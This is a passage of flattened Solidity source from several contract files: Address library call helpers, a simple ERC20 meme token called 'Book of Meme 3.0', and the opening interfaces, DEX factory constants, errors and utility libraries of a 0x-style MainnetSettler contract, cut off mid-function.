@dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity 0.6.6; contract BOME is ERC20, NativeMetaTransaction, ContextMixin { uint256 private INITIAL_SUPPLY = 420000000000000000 * 1e14; constructor() public ERC20("Book of Meme 3.0", "BOME") { _initializeEIP712("Book of Meme 3.0"); _totalSupply = INITIAL_SUPPLY; _balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } function _msgSender() internal override view returns (address payable sender) { return ContextMixin.msgSender(); } }
File 5 of 6: MainnetSettler
// SPDX-License-Identifier: MIT pragma solidity =0.8.25 >=0.6.2 >=0.8.25 ^0.8.0 ^0.8.25; // lib/forge-std/src/interfaces/IERC20.sol /// @dev Interface of the ERC20 standard as defined in the EIP. /// @dev This includes the optional name, symbol, and decimals metadata. interface IERC20 { /// @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). event Transfer(address indexed from, address indexed to, uint256 value); /// @dev Emitted when the allowance of a `spender` for an `owner` is set, where `value` /// is the new allowance. event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice Returns the amount of tokens in existence. function totalSupply() external view returns (uint256); /// @notice Returns the amount of tokens owned by `account`. function balanceOf(address account) external view returns (uint256); /// @notice Moves `amount` tokens from the caller's account to `to`. function transfer(address to, uint256 amount) external returns (bool); /// @notice Returns the remaining number of tokens that `spender` is allowed /// to spend on behalf of `owner` function allowance(address owner, address spender) external view returns (uint256); /// @notice Sets `amount` as the allowance of `spender` over the caller's tokens. /// @dev Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 function approve(address spender, uint256 amount) external returns (bool); /// @notice Moves `amount` tokens from `from` to `to` using the allowance mechanism. /// `amount` is then deducted from the caller's allowance. function transferFrom(address from, address to, uint256 amount) external returns (bool); /// @notice Returns the name of the token. function name() external view returns (string memory); /// @notice Returns the symbol of the token. function symbol() external view returns (string memory); /// @notice Returns the decimals places of the token. function decimals() external view returns (uint8); } // lib/permit2/src/interfaces/IEIP712.sol interface IEIP712 { function DOMAIN_SEPARATOR() external view returns (bytes32); } // src/Context.sol abstract contract AbstractContext { function _msgSender() internal view virtual returns (address); function _msgData() internal view virtual returns (bytes calldata); function _isForwarded() internal view virtual returns (bool); } abstract contract Context is AbstractContext { function _msgSender() internal view virtual override returns (address) { return msg.sender; } function _msgData() internal view virtual override returns (bytes calldata) { return msg.data; } function _isForwarded() internal view virtual override returns (bool) { return false; } } // src/IERC721Owner.sol interface IERC721Owner { function ownerOf(uint256) external view returns (address); } // src/allowanceholder/IAllowanceHolder.sol interface IAllowanceHolder { /// @notice Executes against `target` with the `data` payload. Prior to execution, token permits /// are temporarily stored for the duration of the transaction. These permits can be /// consumed by the `operator` during the execution /// @notice `operator` consumes the funds during its operations by calling back into /// `AllowanceHolder` with `transferFrom`, consuming a token permit. /// @dev Neither `exec` nor `transferFrom` check that `token` contains code. /// @dev msg.sender is forwarded to target appended to the msg data (similar to ERC-2771) /// @param operator An address which is allowed to consume the token permits /// @param token The ERC20 token the caller has authorised to be consumed /// @param amount The quantity of `token` the caller has authorised to be consumed /// @param target A contract to execute operations with `data` /// @param data The data to forward to `target` /// @return result The returndata from calling `target` with `data` /// @notice If calling `target` with `data` reverts, the revert is propagated function exec(address operator, address token, uint256 amount, address payable target, bytes calldata data) external payable returns (bytes memory result); /// @notice The counterpart to `exec` which allows for the consumption of token permits later /// during execution /// @dev *DOES NOT* check that `token` contains code. This function vacuously succeeds if /// `token` is empty. /// @dev can only be called by the `operator` previously registered in `exec` /// @param token The ERC20 token to transfer /// @param owner The owner of tokens to transfer /// @param recipient The destination/beneficiary of the ERC20 `transferFrom` /// @param amount The quantity of `token` to transfer` /// @return true function transferFrom(address token, address owner, address recipient, uint256 amount) external returns (bool); } // src/core/univ3forks/PancakeSwapV3.sol address constant pancakeSwapV3Factory = 0x41ff9AA7e16B8B1a8a8dc4f0eFacd93D02d071c9; bytes32 constant pancakeSwapV3InitHash = 0x6ce8eb472fa82df5469c6ab6d485f17c3ad13c8cd7af59b3d4a8026c5ce0f7e2; uint8 constant pancakeSwapV3ForkId = 1; interface IPancakeSwapV3Callback { function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } // src/core/univ3forks/SolidlyV3.sol address constant solidlyV3Factory = 0x70Fe4a44EA505cFa3A57b95cF2862D4fd5F0f687; address constant solidlyV3SonicFactory = 0x777fAca731b17E8847eBF175c94DbE9d81A8f630; bytes32 constant solidlyV3InitHash = 0xe9b68c5f77858eecac2e651646e208175e9b1359d68d0e14fc69f8c54e5010bf; uint8 constant solidlyV3ForkId = 3; interface ISolidlyV3Callback { function solidlyV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } // src/core/univ3forks/SushiswapV3.sol address constant sushiswapV3MainnetFactory = 0xbACEB8eC6b9355Dfc0269C18bac9d6E2Bdc29C4F; address constant sushiswapV3Factory = 0xc35DADB65012eC5796536bD9864eD8773aBc74C4; // Base, Linea address constant sushiswapV3ArbitrumFactory = 0x1af415a1EbA07a4986a52B6f2e7dE7003D82231e; //address constant sushiswapV3AvalancheFactory = 0x3e603C14aF37EBdaD31709C4f848Fc6aD5BEc715; //address constant sushiswapV3BlastFactory = 0x7680D4B43f3d1d54d6cfEeB2169463bFa7a6cf0d; //address constant sushiswapV3BnbFactory = 0x126555dd55a39328F69400d6aE4F782Bd4C34ABb; address constant sushiswapV3OptimismFactory = 0x9c6522117e2ed1fE5bdb72bb0eD5E3f2bdE7DBe0; address constant sushiswapV3PolygonFactory = 0x917933899c6a5F8E37F31E19f92CdBFF7e8FF0e2; address constant sushiswapV3ScrollFactory = 0x46B3fDF7b5CDe91Ac049936bF0bDb12c5d22202e; address constant sushiswapV3GnosisFactory = 0xf78031CBCA409F2FB6876BDFDBc1b2df24cF9bEf; //bytes32 constant sushiswapV3BlastInitHash = 0x8e13daee7f5a62e37e71bf852bcd44e7d16b90617ed2b17c24c2ee62411c5bae; uint8 constant sushiswapV3ForkId = 2; // src/core/univ3forks/UniswapV3.sol address constant uniswapV3MainnetFactory = 0x1F98431c8aD98523631AE4a59f267346ea31F984; address constant uniswapV3SepoliaFactory = 0x0227628f3F023bb0B980b67D528571c95c6DaC1c; address constant uniswapV3BaseFactory = 0x33128a8fC17869897dcE68Ed026d694621f6FDfD; address constant uniswapV3BnbFactory = 0xdB1d10011AD0Ff90774D0C6Bb92e5C5c8b4461F7; address constant uniswapV3AvalancheFactory = 0x740b1c1de25031C31FF4fC9A62f554A55cdC1baD; address constant uniswapV3BlastFactory = 0x792edAdE80af5fC680d96a2eD80A44247D2Cf6Fd; address constant uniswapV3ScrollFactory = 0x70C62C8b8e801124A4Aa81ce07b637A3e83cb919; address constant uniswapV3LineaFactory = 0x31FAfd4889FA1269F7a13A66eE0fB458f27D72A9; address constant uniswapV3MantleFactory = 0x0d922Fb1Bc191F64970ac40376643808b4B74Df9; address constant uniswapV3TaikoFactory = 0x75FC67473A91335B5b8F8821277262a13B38c9b3; address constant uniswapV3WorldChainFactory = 0x7a5028BDa40e7B173C278C5342087826455ea25a; address constant uniswapV3GnosisFactory = 0xe32F7dD7e3f098D518ff19A22d5f028e076489B1; address constant uniswapV3SonicFactory = 0xcb2436774C3e191c85056d248EF4260ce5f27A9D; address constant uniswapV3InkFactory = 0x640887A9ba3A9C53Ed27D0F7e8246A4F933f3424; address constant uniswapV3MonadTestnetFactory = 0x961235a9020B05C44DF1026D956D1F4D78014276; address constant uniswapV3UnichainFactory = 0x1F98400000000000000000000000000000000003; // https://github.com/Uniswap/contracts/blob/main/deployments/130.md#fri-nov-08-2024 bytes32 constant uniswapV3InitHash = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; uint8 constant uniswapV3ForkId = 0; interface IUniswapV3Callback { function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } // src/deployer/DeployerAddress.sol address constant DEPLOYER = 0x00000000000004533Fe15556B1E086BB1A72cEae; // src/utils/FastLogic.sol library FastLogic { function or(bool a, bool b) internal pure returns (bool r) { assembly ("memory-safe") { r := or(a, b) } } function and(bool a, bool b) internal pure returns (bool r) { assembly ("memory-safe") { r := and(a, b) } } } // src/utils/FreeMemory.sol abstract contract FreeMemory { modifier DANGEROUS_freeMemory() { uint256 freeMemPtr; assembly ("memory-safe") { freeMemPtr := mload(0x40) } _; assembly ("memory-safe") { mstore(0x40, freeMemPtr) } } } // src/utils/Panic.sol library Panic { function panic(uint256 code) internal pure { assembly ("memory-safe") { mstore(0x00, 0x4e487b71) // selector for `Panic(uint256)` mstore(0x20, code) revert(0x1c, 0x24) } } // https://docs.soliditylang.org/en/latest/control-structures.html#panic-via-assert-and-error-via-require uint8 internal constant GENERIC = 0x00; uint8 internal constant ASSERT_FAIL = 0x01; uint8 internal constant ARITHMETIC_OVERFLOW = 0x11; uint8 internal constant DIVISION_BY_ZERO = 0x12; uint8 internal constant ENUM_CAST = 0x21; uint8 internal constant CORRUPT_STORAGE_ARRAY = 0x22; uint8 internal constant POP_EMPTY_ARRAY = 0x31; uint8 internal constant ARRAY_OUT_OF_BOUNDS = 0x32; uint8 internal constant OUT_OF_MEMORY = 0x41; uint8 internal constant ZERO_FUNCTION_POINTER = 0x51; } // src/utils/Revert.sol library Revert { function _revert(bytes memory reason) internal pure { assembly ("memory-safe") { revert(add(reason, 0x20), mload(reason)) } } function maybeRevert(bool success, bytes memory reason) internal pure { if (!success) { _revert(reason); } } } // lib/forge-std/src/interfaces/IERC4626.sol /// @dev Interface of the ERC4626 "Tokenized Vault Standard", as defined in /// https://eips.ethereum.org/EIPS/eip-4626 interface IERC4626 is IERC20 { event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); event Withdraw( address indexed sender, address indexed receiver, address indexed owner, uint256 assets, uint256 shares ); /// @notice Returns the address of the underlying token used for the Vault for accounting, depositing, and withdrawing. /// @dev /// - MUST be an ERC-20 token contract. /// - MUST NOT revert. function asset() external view returns (address assetTokenAddress); /// @notice Returns the total amount of the underlying asset that is “managed” by Vault. /// @dev /// - SHOULD include any compounding that occurs from yield. /// - MUST be inclusive of any fees that are charged against assets in the Vault. /// - MUST NOT revert. function totalAssets() external view returns (uint256 totalManagedAssets); /// @notice Returns the amount of shares that the Vault would exchange for the amount of assets provided, in an ideal /// scenario where all the conditions are met. /// @dev /// - MUST NOT be inclusive of any fees that are charged against assets in the Vault. /// - MUST NOT show any variations depending on the caller. /// - MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange. /// - MUST NOT revert. /// /// NOTE: This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the /// “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and /// from. function convertToShares(uint256 assets) external view returns (uint256 shares); /// @notice Returns the amount of assets that the Vault would exchange for the amount of shares provided, in an ideal /// scenario where all the conditions are met. /// @dev /// - MUST NOT be inclusive of any fees that are charged against assets in the Vault. /// - MUST NOT show any variations depending on the caller. /// - MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange. /// - MUST NOT revert. /// /// NOTE: This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the /// “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and /// from. function convertToAssets(uint256 shares) external view returns (uint256 assets); /// @notice Returns the maximum amount of the underlying asset that can be deposited into the Vault for the receiver, /// through a deposit call. /// @dev /// - MUST return a limited value if receiver is subject to some deposit limit. /// - MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of assets that may be deposited. /// - MUST NOT revert. function maxDeposit(address receiver) external view returns (uint256 maxAssets); /// @notice Allows an on-chain or off-chain user to simulate the effects of their deposit at the current block, given /// current on-chain conditions. /// @dev /// - MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit /// call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called /// in the same transaction. /// - MUST NOT account for deposit limits like those returned from maxDeposit and should always act as though the /// deposit would be accepted, regardless if the user has enough tokens approved, etc. /// - MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees. /// - MUST NOT revert. /// /// NOTE: any unfavorable discrepancy between convertToShares and previewDeposit SHOULD be considered slippage in /// share price or some other type of condition, meaning the depositor will lose assets by depositing. function previewDeposit(uint256 assets) external view returns (uint256 shares); /// @notice Mints shares Vault shares to receiver by depositing exactly amount of underlying tokens. /// @dev /// - MUST emit the Deposit event. /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the /// deposit execution, and are accounted for during deposit. /// - MUST revert if all of assets cannot be deposited (due to deposit limit being reached, slippage, the user not /// approving enough underlying tokens to the Vault contract, etc). /// /// NOTE: most implementations will require pre-approval of the Vault with the Vault’s underlying asset token. function deposit(uint256 assets, address receiver) external returns (uint256 shares); /// @notice Returns the maximum amount of the Vault shares that can be minted for the receiver, through a mint call. /// @dev /// - MUST return a limited value if receiver is subject to some mint limit. /// - MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of shares that may be minted. /// - MUST NOT revert. function maxMint(address receiver) external view returns (uint256 maxShares); /// @notice Allows an on-chain or off-chain user to simulate the effects of their mint at the current block, given /// current on-chain conditions. /// @dev /// - MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call /// in the same transaction. I.e. mint should return the same or fewer assets as previewMint if called in the /// same transaction. /// - MUST NOT account for mint limits like those returned from maxMint and should always act as though the mint /// would be accepted, regardless if the user has enough tokens approved, etc. /// - MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees. /// - MUST NOT revert. /// /// NOTE: any unfavorable discrepancy between convertToAssets and previewMint SHOULD be considered slippage in /// share price or some other type of condition, meaning the depositor will lose assets by minting. function previewMint(uint256 shares) external view returns (uint256 assets); /// @notice Mints exactly shares Vault shares to receiver by depositing amount of underlying tokens. /// @dev /// - MUST emit the Deposit event. /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the mint /// execution, and are accounted for during mint. /// - MUST revert if all of shares cannot be minted (due to deposit limit being reached, slippage, the user not /// approving enough underlying tokens to the Vault contract, etc). /// /// NOTE: most implementations will require pre-approval of the Vault with the Vault’s underlying asset token. function mint(uint256 shares, address receiver) external returns (uint256 assets); /// @notice Returns the maximum amount of the underlying asset that can be withdrawn from the owner balance in the /// Vault, through a withdraw call. /// @dev /// - MUST return a limited value if owner is subject to some withdrawal limit or timelock. /// - MUST NOT revert. function maxWithdraw(address owner) external view returns (uint256 maxAssets); /// @notice Allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block, /// given current on-chain conditions. /// @dev /// - MUST return as close to and no fewer than the exact amount of Vault shares that would be burned in a withdraw /// call in the same transaction. I.e. withdraw should return the same or fewer shares as previewWithdraw if /// called /// in the same transaction. /// - MUST NOT account for withdrawal limits like those returned from maxWithdraw and should always act as though /// the withdrawal would be accepted, regardless if the user has enough shares, etc. /// - MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees. /// - MUST NOT revert. /// /// NOTE: any unfavorable discrepancy between convertToShares and previewWithdraw SHOULD be considered slippage in /// share price or some other type of condition, meaning the depositor will lose assets by depositing. function previewWithdraw(uint256 assets) external view returns (uint256 shares); /// @notice Burns shares from owner and sends exactly assets of underlying tokens to receiver. /// @dev /// - MUST emit the Withdraw event. /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the /// withdraw execution, and are accounted for during withdraw. /// - MUST revert if all of assets cannot be withdrawn (due to withdrawal limit being reached, slippage, the owner /// not having enough shares, etc). /// /// Note that some implementations will require pre-requesting to the Vault before a withdrawal may be performed. /// Those methods should be performed separately. function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); /// @notice Returns the maximum amount of Vault shares that can be redeemed from the owner balance in the Vault, /// through a redeem call. /// @dev /// - MUST return a limited value if owner is subject to some withdrawal limit or timelock. /// - MUST return balanceOf(owner) if owner is not subject to any withdrawal limit or timelock. /// - MUST NOT revert. function maxRedeem(address owner) external view returns (uint256 maxShares); /// @notice Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block, /// given current on-chain conditions. /// @dev /// - MUST return as close to and no more than the exact amount of assets that would be withdrawn in a redeem call /// in the same transaction. I.e. redeem should return the same or more assets as previewRedeem if called in the /// same transaction. /// - MUST NOT account for redemption limits like those returned from maxRedeem and should always act as though the /// redemption would be accepted, regardless if the user has enough shares, etc. /// - MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees. /// - MUST NOT revert. /// /// NOTE: any unfavorable discrepancy between convertToAssets and previewRedeem SHOULD be considered slippage in /// share price or some other type of condition, meaning the depositor will lose assets by redeeming. function previewRedeem(uint256 shares) external view returns (uint256 assets); /// @notice Burns exactly shares from owner and sends assets of underlying tokens to receiver. /// @dev /// - MUST emit the Withdraw event. /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the /// redeem execution, and are accounted for during redeem. /// - MUST revert if all of shares cannot be redeemed (due to withdrawal limit being reached, slippage, the owner /// not having enough shares, etc). /// /// NOTE: some implementations will require pre-requesting to the Vault before a withdrawal may be performed. /// Those methods should be performed separately. function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); } // lib/permit2/src/interfaces/ISignatureTransfer.sol /// @title SignatureTransfer /// @notice Handles ERC20 token transfers through signature based actions /// @dev Requires user's token approval on the Permit2 contract interface ISignatureTransfer is IEIP712 { /// @notice Thrown when the requested amount for a transfer is larger than the permissioned amount /// @param maxAmount The maximum amount a spender can request to transfer error InvalidAmount(uint256 maxAmount); /// @notice Thrown when the number of tokens permissioned to a spender does not match the number of tokens being transferred /// @dev If the spender does not need to transfer the number of tokens permitted, the spender can request amount 0 to be transferred error LengthMismatch(); /// @notice Emits an event when the owner successfully invalidates an unordered nonce. event UnorderedNonceInvalidation(address indexed owner, uint256 word, uint256 mask); /// @notice The token and amount details for a transfer signed in the permit transfer signature struct TokenPermissions { // ERC20 token address address token; // the maximum amount that can be spent uint256 amount; } /// @notice The signed permit message for a single token transfer struct PermitTransferFrom { TokenPermissions permitted; // a unique value for every token owner's signature to prevent signature replays uint256 nonce; // deadline on the permit signature uint256 deadline; } /// @notice Specifies the recipient address and amount for batched transfers. /// @dev Recipients and amounts correspond to the index of the signed token permissions array. /// @dev Reverts if the requested amount is greater than the permitted signed amount. struct SignatureTransferDetails { // recipient address address to; // spender requested amount uint256 requestedAmount; } /// @notice Used to reconstruct the signed permit message for multiple token transfers /// @dev Do not need to pass in spender address as it is required that it is msg.sender /// @dev Note that a user still signs over a spender address struct PermitBatchTransferFrom { // the tokens and corresponding amounts permitted for a transfer TokenPermissions[] permitted; // a unique value for every token owner's signature to prevent signature replays uint256 nonce; // deadline on the permit signature uint256 deadline; } /// @notice A map from token owner address and a caller specified word index to a bitmap. Used to set bits in the bitmap to prevent against signature replay protection /// @dev Uses unordered nonces so that permit messages do not need to be spent in a certain order /// @dev The mapping is indexed first by the token owner, then by an index specified in the nonce /// @dev It returns a uint256 bitmap /// @dev The index, or wordPosition is capped at type(uint248).max function nonceBitmap(address, uint256) external view returns (uint256); /// @notice Transfers a token using a signed permit message /// @dev Reverts if the requested amount is greater than the permitted signed amount /// @param permit The permit data signed over by the owner /// @param owner The owner of the tokens to transfer /// @param transferDetails The spender's requested transfer details for the permitted token /// @param signature The signature to verify function permitTransferFrom( PermitTransferFrom memory permit, SignatureTransferDetails calldata transferDetails, address owner, bytes calldata signature ) external; /// @notice Transfers a token using a signed permit message /// @notice Includes extra data provided by the caller to verify signature over /// @dev The witness type string must follow EIP712 ordering of nested structs and must include the TokenPermissions type definition /// @dev Reverts if the requested amount is greater than the permitted signed amount /// @param permit The permit data signed over by the owner /// @param owner The owner of the tokens to transfer /// @param transferDetails The spender's requested transfer details for the permitted token /// @param witness Extra data to include when checking the user signature /// @param witnessTypeString The EIP-712 type definition for remaining string stub of the typehash /// @param signature The signature to verify function permitWitnessTransferFrom( PermitTransferFrom memory permit, SignatureTransferDetails calldata transferDetails, address owner, bytes32 witness, string calldata witnessTypeString, bytes calldata signature ) external; /// @notice Transfers multiple tokens using a signed permit message /// @param permit The permit data signed over by the owner /// @param owner The owner of the tokens to transfer /// @param transferDetails Specifies the recipient and requested amount for the token transfer /// @param signature The signature to verify function permitTransferFrom( PermitBatchTransferFrom memory permit, SignatureTransferDetails[] calldata transferDetails, address owner, bytes calldata signature ) external; /// @notice Transfers multiple tokens using a signed permit message /// @dev The witness type string must follow EIP712 ordering of nested structs and must include the TokenPermissions type definition /// @notice Includes extra data provided by the caller to verify signature over /// @param permit The permit data signed over by the owner /// @param owner The owner of the tokens to transfer /// @param transferDetails Specifies the recipient and requested amount for the token transfer /// @param witness Extra data to include when checking the user signature /// @param witnessTypeString The EIP-712 type definition for remaining string stub of the typehash /// @param signature The signature to verify function permitWitnessTransferFrom( PermitBatchTransferFrom memory permit, SignatureTransferDetails[] calldata transferDetails, address owner, bytes32 witness, string calldata witnessTypeString, bytes calldata signature ) external; /// @notice Invalidates the bits specified in mask for the bitmap at the word position /// @dev The wordPos is maxed at type(uint248).max /// @param wordPos A number to index the nonceBitmap at /// @param mask A bitmap masked against msg.sender's current bitmap at the word position function invalidateUnorderedNonces(uint256 wordPos, uint256 mask) external; } // src/core/SettlerErrors.sol /// @notice Thrown when an offset is not the expected value error InvalidOffset(); /// @notice Thrown when a validating a target contract to avoid certain types of targets error ConfusedDeputy(); /// @notice Thrown when a target contract is invalid given the context error InvalidTarget(); /// @notice Thrown when validating the caller against the expected caller error InvalidSender(); /// @notice Thrown in cases when using a Trusted Forwarder / AllowanceHolder is not allowed error ForwarderNotAllowed(); /// @notice Thrown when a signature length is not the expected length error InvalidSignatureLen(); /// @notice Thrown when a slippage limit is exceeded error TooMuchSlippage(IERC20 token, uint256 expected, uint256 actual); function revertTooMuchSlippage(IERC20 buyToken, uint256 expectedBuyAmount, uint256 actualBuyAmount) pure { assembly ("memory-safe") { mstore(0x54, actualBuyAmount) mstore(0x34, expectedBuyAmount) mstore(0x14, buyToken) mstore(0x00, 0x97a6f3b9000000000000000000000000) // selector for `TooMuchSlippage(address,uint256,uint256)` with `buyToken`'s padding revert(0x10, 0x64) } } /// @notice Thrown when a byte array that is supposed to encode a function from ISettlerActions is /// not recognized in context. error ActionInvalid(uint256 i, bytes4 action, bytes data); function revertActionInvalid(uint256 i, uint256 action, bytes calldata data) pure { assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, 0x3c74eed6) // selector for `ActionInvalid(uint256,bytes4,bytes)` mstore(add(0x20, ptr), i) mstore(add(0x40, ptr), shl(0xe0, action)) // align as `bytes4` mstore(add(0x60, ptr), 0x60) // offset to the length slot of the dynamic value `data` mstore(add(0x80, ptr), data.length) calldatacopy(add(0xa0, ptr), data.offset, data.length) revert(add(0x1c, ptr), add(0x84, data.length)) } } /// @notice Thrown when the encoded fork ID as part of UniswapV3 fork path is not on the list of /// recognized forks for this chain. error UnknownForkId(uint8 forkId); function revertUnknownForkId(uint8 forkId) pure { assembly ("memory-safe") { mstore(0x00, 0xd3b1276d) // selector for `UnknownForkId(uint8)` mstore(0x20, and(0xff, forkId)) revert(0x1c, 0x24) } } /// @notice Thrown when an AllowanceHolder transfer's permit is past its deadline error SignatureExpired(uint256 deadline); /// @notice An internal error that should never be thrown. Thrown when a callback reenters the /// entrypoint and attempts to clobber the existing callback. error ReentrantCallback(uint256 callbackInt); /// @notice An internal error that should never be thrown. This error can only be thrown by /// non-metatx-supporting Settler instances. Thrown when a callback-requiring liquidity /// source is called, but Settler never receives the callback. error CallbackNotSpent(uint256 callbackInt); /// @notice Thrown when a metatransaction has reentrancy. error ReentrantMetatransaction(bytes32 oldWitness); /// @notice Thrown when any transaction has reentrancy, not just taker-submitted or metatransaction. error ReentrantPayer(address oldPayer); /// @notice An internal error that should never be thrown. Thrown when a metatransaction fails to /// spend a coupon. error WitnessNotSpent(bytes32 oldWitness); /// @notice An internal error that should never be thrown. Thrown when the payer is unset /// unexpectedly. error PayerSpent(); error DeltaNotPositive(IERC20 token); error DeltaNotNegative(IERC20 token); error ZeroSellAmount(IERC20 token); error ZeroBuyAmount(IERC20 buyToken); error BoughtSellToken(IERC20 sellToken); error TokenHashCollision(IERC20 token0, IERC20 token1); error ZeroToken(); /// @notice Thrown for liquidities that require a Newton-Raphson approximation to solve their /// constant function when Newton-Raphson fails to converge on the solution in a /// "reasonable" number of iterations. error NotConverged(); /// @notice Thrown when the encoded pool manager ID as part of PancakeSwap Infinity fill is not on /// the list of recognized pool managers. error UnknownPoolManagerId(uint8 poolManagerId); // src/interfaces/ISettlerBase.sol interface ISettlerBase { struct AllowedSlippage { address payable recipient; IERC20 buyToken; uint256 minAmountOut; } } // src/utils/Ternary.sol library Ternary { function ternary(bool c, uint256 x, uint256 y) internal pure returns (uint256 r) { assembly ("memory-safe") { r := xor(y, mul(xor(x, y), c)) } } function ternary(bool c, int256 x, int256 y) internal pure returns (int256 r) { assembly ("memory-safe") { r := xor(y, mul(xor(x, y), c)) } } function maybeSwap(bool c, uint256 x, uint256 y) internal pure returns (uint256 a, uint256 b) { assembly ("memory-safe") { let t := mul(xor(x, y), c) a := xor(x, t) b := xor(y, t) } } function maybeSwap(bool c, int256 x, int256 y) internal pure returns (int256 a, int256 b) { assembly ("memory-safe") { let t := mul(xor(x, y), c) a := xor(x, t) b := xor(y, t) } } function maybeSwap(bool c, IERC20 x, IERC20 y) internal pure returns (IERC20 a, IERC20 b) { (uint256 a_, uint256 b_) = maybeSwap(c, uint160(address(x)), uint160(address(y))); a = IERC20(address(uint160(a_))); b = IERC20(address(uint160(b_))); } function maybeSwap(bool c, address x, address y) internal pure returns (address a, address b) { (uint256 a_, uint256 b_) = maybeSwap(c, uint160(x), uint160(y)); a = address(uint160(a_)); b = address(uint160(b_)); } } // src/utils/UnsafeMath.sol library UnsafeMath { function unsafeInc(uint256 x) internal pure returns (uint256) { unchecked { return x + 1; } } function unsafeInc(uint256 x, bool b) internal pure returns (uint256) { assembly ("memory-safe") { x := add(x, b) } return x; } function unsafeInc(int256 x) internal pure returns (int256) { unchecked { return x + 1; } } function unsafeDec(uint256 x) internal pure returns (uint256) { unchecked { return x - 1; } } function unsafeDec(int256 x) internal pure returns (int256) { unchecked { return x - 1; } } function unsafeNeg(int256 x) internal pure returns (int256) { unchecked { return -x; } } function unsafeDiv(uint256 numerator, uint256 denominator) internal pure returns (uint256 quotient) { assembly ("memory-safe") { quotient := div(numerator, denominator) } } function unsafeDiv(int256 numerator, int256 denominator) internal pure 